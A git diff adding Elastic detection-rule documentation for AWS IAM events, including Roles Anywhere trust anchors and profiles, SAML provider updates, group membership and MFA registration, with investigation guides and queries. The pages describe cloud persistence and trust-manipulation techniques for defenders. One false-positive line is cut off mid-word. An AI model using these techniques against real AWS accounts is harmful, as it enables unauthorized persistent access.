index 0000000000..4bb5d2f0eb
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-roles-anywhere-profile-creation.asciidoc
@@ -0,0 +1,176 @@
+[[prebuilt-rule-8-19-11-aws-iam-roles-anywhere-profile-creation]]
+=== AWS IAM Roles Anywhere Profile Creation
+
+Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html
+* https://docs.datadoghq.com/security/default_rules/cloudtrail-aws-iam-roles-anywhere-trust-anchor-created/
+* https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/
+* https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateProfile.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS IAM
+* Use Case: Identity and Access Audit
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 6
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it to suit your operational needs.
+
+
+*Investigating AWS IAM Roles Anywhere Profile Creation*
+
+
+AWS IAM Roles Anywhere allows external workloads — such as CI/CD runners, on-premises systems, or third-party services — 
+to assume IAM roles securely by presenting a certificate from a trusted anchor. A profile defines the IAM roles that 
+can be assumed, the trust anchor they are associated with, and session duration limits.
+
+This rule detects when a new Roles Anywhere profile is created using the `CreateProfile` API call. Unauthorized profile 
+creation can enable persistent external access if tied to over-privileged roles or to trust anchors associated with 
+unauthorized certificate authorities (CAs). Monitoring profile creation is crucial to ensuring that only approved roles 
+and anchors are in use.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine 
+    which IAM user, role, or principal created the profile.
+  - Check whether this identity normally manages Roles Anywhere configurations.
+
+- **Review profile configuration**
+  - Inspect `aws.cloudtrail.request_parameters` for key values such as:
+    - `profileName`
+    - `roleArns` – confirm that the listed IAM roles are expected and not overly permissive.
+    - `trustAnchorArn` – verify the trust anchor is valid and authorized.
+    - `durationSeconds` – check for unusually long session durations.
+  - Determine if multiple roles were attached, which may indicate excessive privilege aggregation.
+
+- **Correlate related activity**
+  - Check for prior or concurrent events by the same actor, including:
+    - `CreateTrustAnchor` with external or unauthorized certificate authorities.
+    - `CreateRole`, `PutRolePolicy`, or `AttachRolePolicy` for privilege escalation paths.
+  - Review whether subsequent `AssumeRoleWithCertificate` events occurred, indicating use of the new profile.
+
+- **Assess the source context**
+  - Investigate `source.ip`, `user_agent.original`, and `source.geo` fields to identify if this request originated from an unfamiliar host, region, or automation client (e.g., `boto3`, `curl`, custom SDKs).
+  - Compare to baseline patterns of legitimate IAM or infrastructure automation.
+
+- **Validate legitimacy**
+  - Contact the responsible team (e.g., platform, PKI, or IAM administration) to confirm whether this profile creation 
+    aligns with approved change management or onboarding activities.
+
+
+
+*False positive analysis:*
+
+
+- **Legitimate administrative actions**
+  - IAM or PKI engineers may legitimately create profiles during setup of new external integrations or workloads. 
+    Validate against change control records and deployment logs.
+- **Authorized automation**
+  - Infrastructure-as-code (IaC) pipelines (Terraform, CloudFormation, etc.) may automatically create profiles. 
+    Confirm these operations are sourced from known automation accounts or IP ranges.
+- **Development and testing**
+  - Lab or sandbox accounts may test Roles Anywhere configurations with less restrictive controls. 
+    Ensure alerts from non-production accounts are tuned accordingly.
+
+
+*Response and remediation:*
+
+
+- **Immediate review and containment**
+  - If unauthorized, disable or delete the created profile (`aws rolesanywhere delete-profile`) and review all 
+    associated IAM roles for misuse.
+  - Rotate any credentials or revoke certificates issued from unapproved trust anchors.
+
+- **Investigation**
+  - Search CloudTrail for additional related actions by the same identity, such as 
+    `CreateTrustAnchor`, `AssumeRoleWithCertificate`, or cross-account access attempts.
+  - Verify whether any sessions have been initiated using the new profile and identify 
+    which roles were assumed.
+
+- **Recovery and hardening**
+  - Restrict `rolesanywhere:CreateProfile` to a small set of administrative roles.
+  - Implement AWS Config or Security Hub controls to alert on unauthorized or overly 
+    permissive Roles Anywhere profiles.
+  - Audit IAM role trust policies linked to external anchors and ensure adherence to the 
+    principle of least privilege.
+  - Review and document all approved Roles Anywhere profiles and their corresponding trust anchors.
+
+
+*Additional information*
+
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: aws.cloudtrail
+    and event.provider: rolesanywhere.amazonaws.com
+    and event.action: CreateProfile
+    and event.outcome: success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
+* Sub-technique:
+** Name: Additional Cloud Roles
+** ID: T1098.003
+** Reference URL: https://attack.mitre.org/techniques/T1098/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc
new file mode 100644
index 0000000000..987fc4a2d6
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc
@@ -0,0 +1,165 @@
+[[prebuilt-rule-8-19-11-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca]]
+=== AWS IAM Roles Anywhere Trust Anchor Created with External CA
+
+Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html
+* https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/
+* https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateTrustAnchor.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS IAM
+* Use Case: Identity and Access Audit
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 6
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it to suit your operational needs.
+
+
+*Investigating AWS IAM Roles Anywhere Trust Anchor Created with External CA*
+
+
+AWS IAM Roles Anywhere allows workloads outside AWS (such as on-premises servers or CI/CD agents) to assume AWS IAM roles by presenting X.509 certificates. A trust anchor defines which certificate authority (CA) AWS trusts to validate 
+these external identities. Normally, organizations use AWS Certificate Manager Private CA (ACM PCA) to control issuance 
+and revocation. 
+
+This detection rule identifies when a trust anchor is created using an **external CA** (`sourceType= "CERTIFICATE_BUNDLE" or "SELF_SIGNED_REPOSITORY"`) rather than an ACM-managed CA (`sourceType="AWS_ACM_PCA"`). This can indicate an adversary establishing persistent external access, enabling them to authenticate using certificates signed by their own CA.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`.
+  - Determine whether this user or role is normally responsible for IAM configuration or Roles Anywhere setup.
+
+- **Review the trust anchor details**
+  - In `aws.cloudtrail.request_parameters`, confirm the `sourceType` and inspect the certificate chain.
+  - Look for non-AWS issuer names, custom organization fields, or self-signed CA certificates.
+
+- **Assess the scope and risk**
+  - Identify which IAM roles are linked to this trust anchor via `Profile` associations.
+  - Determine whether any of those roles provide privileged or cross-account access.
+  - Check for subsequent API calls like `CreateProfile`, `CreateRole`, or `AssumeRoleWithCertificate` to gauge whether 
+    the external CA has been used.
+
+- **Correlate related activity**
+  - Search for preceding reconnaissance or setup activity:
+    - `ListTrustAnchors`, `ListProfiles`, `GetRole`
+    - Attempts to create additional credential paths (`CreateAccessKey`, `CreateOpenIDConnectProvider`)
+  - Investigate other actions by the same user identity, particularly IAM role or trust policy modifications.
+
+- **Validate legitimacy**
+  - Confirm with identity management or security engineering teams whether the external CA is an approved authority.
+  - Review internal PKI or certificate inventories to ensure this CA is registered in the organization’s trust chain.
+
+
+*False positive analysis*
+
+
+- **Legitimate external CA use**
+  - Some organizations integrate trusted third-party PKI providers (e.g., Venafi, DigiCert, Entrust) for workload identity management. Validate whether the CA is part of your documented PKI ecosystem.
+- **Testing and lab accounts**
+  - Development or testing environments may temporarily use self-signed certificates to validate Roles Anywhere integrations.
+  - Confirm that such activity occurs in isolated accounts and not in production.
+- **Expected administrative setup**
+  - Initial configuration by security engineers or platform teams may trigger this rule. Verify via change tickets or 
+    deployment logs before treating as suspicious.
+
+
+*Response and remediation*
+
+
+- **Containment**
+  - If the CA is unauthorized, immediately delete the trust anchor using 
+    `aws rolesanywhere delete-trust-anchor --trust-anchor-id <id>`.
+  - Review for any certificates already used to assume roles and revoke those certificates from the external CA.
+
+- **Investigation**
+  - Identify all IAM Roles Anywhere profiles linked to the trust anchor (`ListProfiles`).
+  - Check CloudTrail for any successful `AssumeRoleWithCertificate` calls associated with the external CA.
+  - Assess whether lateral movement or data exfiltration occurred after the trust anchor creation.
+
+- **Recovery and hardening**
+  - Replace unauthorized CAs with ACM PCA-managed ones.
+  - Restrict `rolesanywhere:CreateTrustAnchor` permissions to security administrators only.
+  - Monitor for new trust anchor creations and external certificate sources via AWS Config rules or Security Hub findings.
+  - Implement GuardDuty or Security Hub integrations to detect anomalous IAM and Roles Anywhere behavior.
+
+
+*Additional information*
+
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+info where event.dataset == "aws.cloudtrail"
+  and event.provider == "rolesanywhere.amazonaws.com"
+  and event.action == "CreateTrustAnchor"
+  and event.outcome == "success"
+  and not stringContains(aws.cloudtrail.request_parameters, "sourceType=AWS_ACM_PCA")
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
+* Sub-technique:
+** Name: Additional Cloud Roles
+** ID: T1098.003
+** Reference URL: https://attack.mitre.org/techniques/T1098/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-saml-provider-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-saml-provider-updated.asciidoc
new file mode 100644
index 0000000000..f4225489d1
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-saml-provider-updated.asciidoc
@@ -0,0 +1,164 @@
+[[prebuilt-rule-8-19-11-aws-iam-saml-provider-updated]]
+=== AWS IAM SAML Provider Updated
+
+Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider’s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring  "UpdateSAMLProvider" API activity is critical to detect potential compromise of federated trust relationships.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS IAM
+* Use Case: Identity and Access Audit
+* Tactic: Privilege Escalation
+* Resources: Investigation Guide
+
+*Version*: 211
+
+*Rule authors*: 
+
+* Elastic
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS IAM SAML Provider Updated*
+
+
+AWS IAM SAML providers enable federated authentication between AWS and external identity providers (IdPs), 
+allowing users from trusted domains to access AWS resources without separate credentials. 
+Updating a SAML provider can modify the trust relationship — including the signing certificate or metadata document — 
+and, if abused, may allow an attacker to redirect authentication flows or gain access through a malicious or compromised IdP.
+
+This rule detects successful `UpdateSAMLProvider` API calls that do not originate from AWS Single Sign-On (SSO), 
+as normal SSO operations are filtered out. These changes can be significant because a single unauthorized update 
+can affect all federated authentication in the account.
+
+
+*Possible investigation steps*
+
+
+- **Validate the actor and context**
+  - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `user_agent.original` to determine who performed the update.
+  - Confirm if the actor is part of an authorized identity management or platform engineering group.
+  - Review `source.ip` and `cloud.region` fields for unexpected geolocations, IP ranges, or service origins.
+
+- **Assess the scope of the modification**
+  - Parse the `aws.cloudtrail.request_parameters` for updates to `SAMLMetadataDocument` or `Certificate` attributes.
+  - Compare the new metadata with previous versions (available via AWS CLI or AWS Config) to detect unauthorized IdP URLs, 
+    certificates, or assertion endpoints.
+  - Identify whether the change replaced a valid trusted certificate with an unknown or self-signed one.
+
+- **Correlate related IAM and authentication events**
+  - Look for preceding `CreateSAMLProvider` or `DeleteSAMLProvider` activity, as attackers may replace existing trust entities.
+  - Search for follow-up logins (`AssumeRoleWithSAML`) or STS tokens issued shortly after the update — this could indicate 
+    immediate exploitation of the new configuration.
+  - Check for concurrent changes to IAM roles associated with SAML federated access.
+
+- **Confirm authorization**
+  - Coordinate with your identity management team to confirm whether the SAML provider update aligns with 
+    planned IdP maintenance or certificate rotation.
+
+
+*False positive analysis*
+
+
+- **Planned SSO certificate rotation**
+  - Most legitimate SAML provider updates occur during routine certificate renewals by authorized IdP admins. 
+    Validate that the update timing aligns with planned identity provider operations.
+- **Automated infrastructure processes**
+  - CI/CD or configuration-as-code pipelines may automatically update SAML metadata as part of deployment. 
+    Verify whether this activity matches known automation patterns.
+- **Third-party IdP integrations**
+  - Some integrated SaaS applications update SAML providers programmatically. Confirm the vendor and the originating credentials before closing as benign.
+
+
+*Response and remediation*
+
+
+- **Immediate review and containment**
+  - Retrieve the current SAML provider configuration using the AWS CLI (`aws iam get-saml-provider`) 
+    and compare it with the previous known-good state.
+  - If unauthorized changes are confirmed, restore the previous configuration or delete the compromised provider.
+  - Temporarily disable federated login access for affected roles or accounts until validation is complete.
+
+- **Investigation and scoping**
+  - Review CloudTrail logs for related IAM configuration changes, including `CreateRole`, `AttachRolePolicy`, or 
+    `UpdateAssumeRolePolicy` events that may expand federated trust scope.
+  - Identify any `AssumeRoleWithSAML` or `GetFederationToken` events following the update, indicating possible exploitation.
+  - Cross-check logs from your external IdP to verify if unauthorized assertions or logins were attempted post-update.
+
+- **Recovery and hardening**
+  - Limit permissions to modify SAML providers (`iam:UpdateSAMLProvider`) to a dedicated identity management role.
+  - Enforce change control documentation and peer review for all federation configuration changes.
+  - Enable AWS Config to monitor and record SAML provider resource configuration history.
+
+
+*Additional information*
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: "aws.cloudtrail"
+    and event.provider: "iam.amazonaws.com"
+    and event.action: "UpdateSAMLProvider"
+    and event.outcome: "success"
+    and not (source.address: "sso.amazonaws.com" and user_agent.original: "sso.amazonaws.com")
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Domain or Tenant Policy Modification
+** ID: T1484
+** Reference URL: https://attack.mitre.org/techniques/T1484/
+* Sub-technique:
+** Name: Trust Modification
+** ID: T1484.002
+** Reference URL: https://attack.mitre.org/techniques/T1484/002/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-user-addition-to-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-user-addition-to-group.asciidoc
new file mode 100644
index 0000000000..6264a5ea31
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-user-addition-to-group.asciidoc
@@ -0,0 +1,133 @@
+[[prebuilt-rule-8-19-11-aws-iam-user-addition-to-group]]
+=== AWS IAM User Addition to Group
+
+Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Use Case: Identity and Access Audit
+* Tactic: Credential Access
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 212
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS IAM User Addition to Group*
+
+
+This rule detects when an IAM user is added to an IAM group via the `AddUserToGroup` API call. If the target group holds elevated privileges, this action may immediately grant that user wide-ranging access useful for credential misuse or lateral movement. This rule helps detect unauthorized privilege escalation via group membership change. Treat as high-risk when the destination group has wide scope (e.g., AdministratorAccess or permissive inline policies).
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor and target**  
+  - Check `aws.cloudtrail.user_identity.arn` for who added the user.  
+  - From `aws.cloudtrail.request_parameters`, capture `userName` (added user) and `groupName` (destination group).  
+  - Check `source.ip`, `user_agent.original`, `cloud.region` for unusual patterns.
+
+- **Examine the group’s privileges**  
+  - Use `GetGroup`, `ListAttachedGroupPolicies` to see what policies the group holds. Look for `AdministratorAccess`, `iam:*`, `s3:*`, `ec2:*` or cross-account permissions.  
+  - Check whether the group was recently created (`CreateGroup`) or recently escalated (`AttachGroupPolicy`). Common attacker pattern: create > attach policy > add user.
+
+- **Correlate with surrounding activity**  
+  - Look for preceding events by the actor: `AssumeRole`, `GetSessionToken`, `CreateAccessKey`, `AttachGroupPolicy`.  
+  - Follow the added user’s activities after group membership. Look for sensitive operations (e.g., IAM actions, S3 policy changes, EC2 snapshot/AMI activity).
+
+
+
+*False positive analysis*
+
+
+- Onboarding or role transitions may legitimately add users to groups.  
+- Automated Identity-Management pipelines may add many users to service groups; validate know
+
+
+*Response and remediation*
+
+
+- **Containment**:
+  - If unapproved, remove the user from the group immediately (`RemoveUserFromGroup`) and rotate their access keys.
+  - Temporarily restrict group policy changes while assessing blast radius.
+- **Investigation and scoping**:
+  - Review all actions executed by the newly added user since the change (ex: PutBucketPolicy, CreateAccessKey, PassRole).
+  - Confirm whether other users were added to the same group within the same window. 
+- **Recovery and hardening**: 
+  - Enforce least privilege by redesigning large-group membership. 
+  - Restrict `iam:AddUserToGroup` to only appropriate service principals with approval workflow. 
+  - Create detections for AttachGroupPolicy to powerful policies and for mass AddUserToGroup patterns.
+
+
+*Additional information*
+
+https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices]
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: aws.cloudtrail and 
+    event.provider: iam.amazonaws.com and 
+    event.action: AddUserToGroup and 
+    event.outcome: success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc
new file mode 100644
index 0000000000..280e54f9bb
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-iam-virtual-mfa-device-registration-attempt-with-session-token.asciidoc
@@ -0,0 +1,167 @@
+[[prebuilt-rule-8-19-11-aws-iam-virtual-mfa-device-registration-attempt-with-session-token]]
+=== AWS IAM Virtual MFA Device Registration Attempt with Session Token
+
+Detects attempts to create or enable a Virtual MFA device (CreateVirtualMFADevice, EnableMFADevice) using temporary AWS credentials (access keys beginning with ASIA). Session credentials are short-lived and tied to existing authenticated sessions, so using them to register or enable MFA devices is unusual. Adversaries who compromise temporary credentials may abuse this behavior to establish persistence by attaching new MFA devices to maintain access to high-privilege accounts despite key rotation or password resets.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS CloudTrail
+* Data Source: AWS IAM
+* Tactic: Persistence
+* Use Case: Identity and Access Audit
+* Resources: Investigation Guide
+
+*Version*: 3
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and Analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and validated for accuracy and relevance. Always
+> tailor the steps to your organization's environment and operational context.
+
+
+*Investigating AWS IAM Virtual MFA Device Registration Attempt with Session Token*
+
+
+Temporary credentials that start with the prefix `ASIA` are generated by the AWS Security Token Service (STS). These
+session tokens are used for short-lived operations and should not be used to modify or register IAM
+authentication mechanisms. This rule detects cases where an IAM user or role uses such temporary credentials to invoke either `CreateVirtualMFADevice` or `EnableMFADevice`.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor and session context**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine the identity and confirm the `ASIA` prefix.  
+  - If you ingest `event.original`, look for `sessionCredentialFromConsole: true` to determine if the temporary token is from a console login session (which uses temporary session tokens in the backend) rather than compromised session tokens.
+  - Check `user_agent.original`, `source.ip`, and `cloud.region` to determine if this activity originated from an expected host, VPN, or location.
+  - Cross-reference with prior activity by this identity—especially `GetSessionToken`, `AssumeRole`, or `GetCallerIdentity` calls.
+
+- **Correlate related IAM events**
+  - Search for subsequent or preceding calls to:
+    - `EnableMFADevice` (after `CreateVirtualMFADevice`)
+    - `DeactivateMFADevice` or `DeleteVirtualMFADevice`
+    - `ListMFADevices`, `ListUsers`, or `UpdateLoginProfile`
+  - Review whether new MFA devices were successfully enabled (`event.outcome:success`).
+
+- **Assess session scope and privileges**
+  - Identify what IAM policies are attached to the user or role that issued this request.  
+  - If the temporary credentials were created via `AssumeRole` or `GetSessionToken`, check the originating principal’s permissions.
+
+- **Investigate possible persistence**
+  - Look for new MFA devices listed for privileged users (e.g., account root or admin roles).  
+  - Review login history for those accounts following the MFA change. 
+
+
+*False positive analysis*
+
+
+- **Legitimate Administrative or Automated Actions**  
+  Certain IAM administrative workflows or CI/CD automation tools may register or enable MFA devices using temporary
+  session credentials. Confirm whether the calling principal is part of an authorized automation process or a known
+  identity performing account configuration tasks.
+
+- **Expected Console Behavior**  
+  When users create or enable Virtual MFA devices through the **AWS Management Console**, AWS automatically issues
+  temporary STS credentials (with access key IDs beginning with `ASIA`) for that session. As a result, these events will
+  appear identical to programmatic usage of session tokens in CloudTrail logs.  
+  This is expected and does not indicate compromise.
+
+
+*Response and remediation*
+
+
+- **Immediate containment**
+  - Revoke or expire the temporary credentials (`aws sts revoke-session` if applicable).  
+  - Disable or delete any newly created virtual MFA devices using `DeleteVirtualMFADevice`.  
+  - Rotate passwords and long-term access keys for the associated IAM users.
+
+- **Investigation and scoping**
+  - Review CloudTrail logs for related IAM modifications (`UpdateLoginProfile`, `AttachUserPolicy`, `CreateAccessKey`).  
+  - Identify any new API keys or tokens created after the MFA registration.  
+  - Cross-check whether the attacker leveraged the new MFA binding for session persistence or login.
+
+- **Recovery and hardening**
+  - Enforce the `iam:EnableMFADevice` and `iam:CreateVirtualMFADevice` permissions only for trusted admin roles.  
+  - Implement `aws:MultiFactorAuthPresent` conditions in IAM policies.  
+  - Monitor for any future `ASIA` credential–based IAM configuration changes.
+
+
+*Additional information*
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html[Managing MFA Devices in IAM]** 
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+iam where event.dataset == "aws.cloudtrail"
+  and event.provider == "iam.amazonaws.com"
+  and event.outcome == "success"
+  and event.action in ("CreateVirtualMFADevice", "EnableMFADevice")
+  and startsWith (aws.cloudtrail.user_identity.access_key_id, "ASIA")
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
